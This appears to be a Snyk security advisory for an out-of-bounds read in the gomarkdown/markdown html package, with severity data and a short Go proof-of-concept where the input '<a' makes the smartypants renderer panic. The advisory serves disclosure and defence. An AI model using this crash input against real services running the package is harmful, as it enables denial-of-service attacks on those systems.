Out-of-bounds Read Affecting github.com/gomarkdown/markdown/html package, versions >=0.0.0


Severity

Recommended
0.0
high
0
10

CVSS assessment by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of Concept
EPSS
0.05% (16th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Out-of-bounds Read vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-GOLANG-GITHUBCOMGOMARKDOWNMARKDOWNHTML-16066911
  • published15 Apr 2026
  • disclosed14 Apr 2026
  • creditJulesDT

Introduced: 14 Apr 2026

NewCVE-2026-40890  (opens in a new tab)
CWE-125  (opens in a new tab)

How to fix?

A fix was pushed into the master branch but not yet published.

Overview

Affected versions of this package are vulnerable to Out-of-bounds Read via the smartLeftAngle function in smartypants.go file. An attacker can cause a panic or read unintended memory by providing input containing a < character that is not followed by a > character in the remaining text.

PoC

package main

import (
    "bytes"
    "fmt"

    "github.com/gomarkdown/markdown/html"
)

func main() {
    src := []byte("<a")

    fmt.Printf("Input: %q  (len=%d, cap=%d)\n", src, len(src), cap(src))

    var buf bytes.Buffer
    sp := html.NewSmartypantsRenderer(html.Smartypants)
    sp.Process(&buf, src) // panics: slice bounds out of range

    fmt.Printf("Output: %q\n", buf.String())
}

References

CVSS Base Scores

version 4.0
version 3.1